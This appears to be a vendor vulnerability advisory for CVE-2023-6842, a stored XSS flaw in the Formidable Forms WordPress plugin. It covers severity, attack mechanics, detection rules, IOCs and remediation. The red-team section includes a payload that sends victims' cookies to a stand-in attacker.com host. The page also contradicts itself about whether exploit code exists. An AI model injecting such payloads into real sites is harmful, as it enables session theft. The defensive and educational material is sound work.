CVE-2023-6842
Executive Summary
CVE-2023-6842 is a Stored Cross-Site Scripting (XSS) vulnerability in the Formidable Forms WordPress plugin (versions up to and including 6.7). The flaw resides in insufficient sanitization of the name field label and description field label parameters, allowing authenticated attackers with administrator-level access to inject arbitrary web scripts. These scripts execute whenever a user accesses a page containing the malicious form field. By default, exploitation requires administrator privileges, but the plugin’s settings allow administrators to delegate form management permissions to lower-level user types, expanding the attack surface. The vulnerability is classified as medium severity (CVSS 4.4) and currently has no known public exploit or patch.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It does not affect Apache, Nginx, or other web server software. The attack vector relies on the plugin’s failure to properly escape output in form field labels, a common issue in WordPress plugins that handle user-generated content without adequate security controls.
CVSS Breakdown & Threat Level
- CVSS Score: 4.4 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: High (PR:H) – attacker needs admin-level access by default.
- User Interaction: Required (UI:R) – victim must visit the injected page.
- Scope: Changed (S:C) – impact extends beyond the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited modification of content.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: Medium. While the CVSS score is moderate, the potential for privilege escalation via delegated permissions and the lack of a patch elevate the risk for multi-site WordPress installations or environments where lower-level users have form management capabilities.
Deep Dive & Mechanics
The vulnerability exists in the Formidable Forms plugin’s handling of form field labels. When an administrator creates or edits a form, the name and description parameters for each field are stored in the database without sufficient sanitization. The plugin fails to escape these values when rendering the form on the frontend, allowing an attacker to inject malicious HTML and JavaScript.
Attack Flow:
- An authenticated attacker with administrator-level access (or delegated form management permissions) navigates to the Formidable Forms editor.
- The attacker creates a new form field or edits an existing one, injecting a payload into the
nameordescriptionfield label, e.g.,<script>alert('XSS')</script>. - The plugin stores the payload in the WordPress database without proper sanitization.
- When any user (including lower-privileged users or visitors) views a page containing the form, the payload executes in their browser.
Key Conditions:
- By default, only administrators can exploit this, but the plugin’s settings allow administrators to grant form creation/deletion permissions to other user roles (e.g., editors, authors).
- On multi-site WordPress installations, unfiltered_html is often disabled for non-super-admin users, making the vulnerability more impactful.
- The injected script can steal session cookies, redirect users, or perform actions on behalf of the victim.
Vulnerable vs. Patched Code
Since no official patch is available, the vulnerable code path is identified through analysis of the plugin’s source. The issue likely resides in the FrmFieldsController::show_field() or similar function that outputs field labels without escaping.
Vulnerable Code (Conceptual):
// In form field rendering
echo '<label for="field_' . $field['id'] . '">' . $field['name'] . '</label>';
echo '<p class="description">' . $field['description'] . '</p>';
Patched Code (Expected):
// Properly escape output
echo '<label for="field_' . esc_attr($field['id']) . '">' . esc_html($field['name']) . '</label>';
echo '<p class="description">' . esc_html($field['description']) . '</p>';
The fix requires using WordPress’s esc_html() or wp_kses_post() functions to sanitize output before rendering.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Formidable Forms plugin version <= 6.7.
- Administrator account (or delegated form management permissions).
Steps:
- Log in as an administrator.
- Navigate to Formidable → Forms and create a new form or edit an existing one.
- Add a new field (e.g., a text field).
- In the Field Label or Description field, inject a payload:
Or a more sophisticated payload:<script>alert('XSS')</script><img src=x onerror="fetch('https://attacker.com/steal?cookie='+document.cookie)"> - Save the form and embed it on a page or post.
- When a victim visits the page, the script executes.
Note: No public exploit code is available, but the above manual steps demonstrate the vulnerability.
Blue Team (Detection & Prevention)
Detection:
- Monitor for unusual form field labels containing
<script>,<img onerror>, or other HTML event handlers. - Review WordPress database entries in
wp_postmetaor custom tables for suspicious content infield_optionsor similar meta keys. - Use Web Application Firewall (WAF) rules to block common XSS payloads in POST requests to
/wp-admin/admin-ajax.phpor form submission endpoints.
Prevention:
- Disable unfiltered_html for all non-super-admin users.
- Restrict form management permissions to trusted administrators only.
- Apply input validation and output escaping in custom code or via a security plugin.
Indicators of Compromise (IOCs)
- File System: Modified plugin files (e.g.,
wp-content/plugins/formidable/classes/controllers/FrmFieldsController.php) containing unsanitized output. - Database: Entries in
wp_postmetaorwp_frm_fieldswithmeta_valuecontaining<script>tags or event handlers. - Network: Outbound HTTP requests to attacker-controlled domains from the WordPress server (e.g., for cookie exfiltration).
- Logs: WordPress debug logs showing PHP warnings related to
FrmFieldsController::show_field().
Detection Engineering
YARA Rule
rule CVE_2023_6842_Formidable_Forms_XSS {
meta:
description = "Detects potential XSS payloads in Formidable Forms field labels"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-6842"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/is
$event_handler = /on\w+\s*=\s*["'][^"']*["']/is
$field_label = /name|description/i
condition:
any of ($xss_payload) and $field_label
}
Sigma Rule
title: CVE-2023-6842 - Stored XSS in Formidable Forms Field Labels
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via Formidable Forms field labels
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: wordpress
detection:
selection:
http.method: POST
http.url: '/wp-admin/admin-ajax.php'
http.body|contains: 'action=frm_add_field'
keywords:
- '<script'
- 'onerror'
- 'onload'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in form descriptions (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2023-6842 - Formidable Forms Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=frm_add_field"; http_client_body; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade the Formidable Forms plugin to version 6.7.1 or later once a patch is released.
- Disable unfiltered_html for all non-super-admin users via
define('DISALLOW_UNFILTERED_HTML', true);inwp-config.php. - Restrict form management permissions to only trusted administrators.
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in form field submissions.
Long-Term Measures:
- Conduct regular security audits of WordPress plugins.
- Use a security plugin (e.g., Wordfence, Sucuri) to monitor for file changes and malicious activity.
- Educate administrators on the risks of granting form management permissions to lower-level users.
Patch Status: UNKNOWN / UNPATCHED. Monitor the plugin’s official repository or vendor website for updates.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.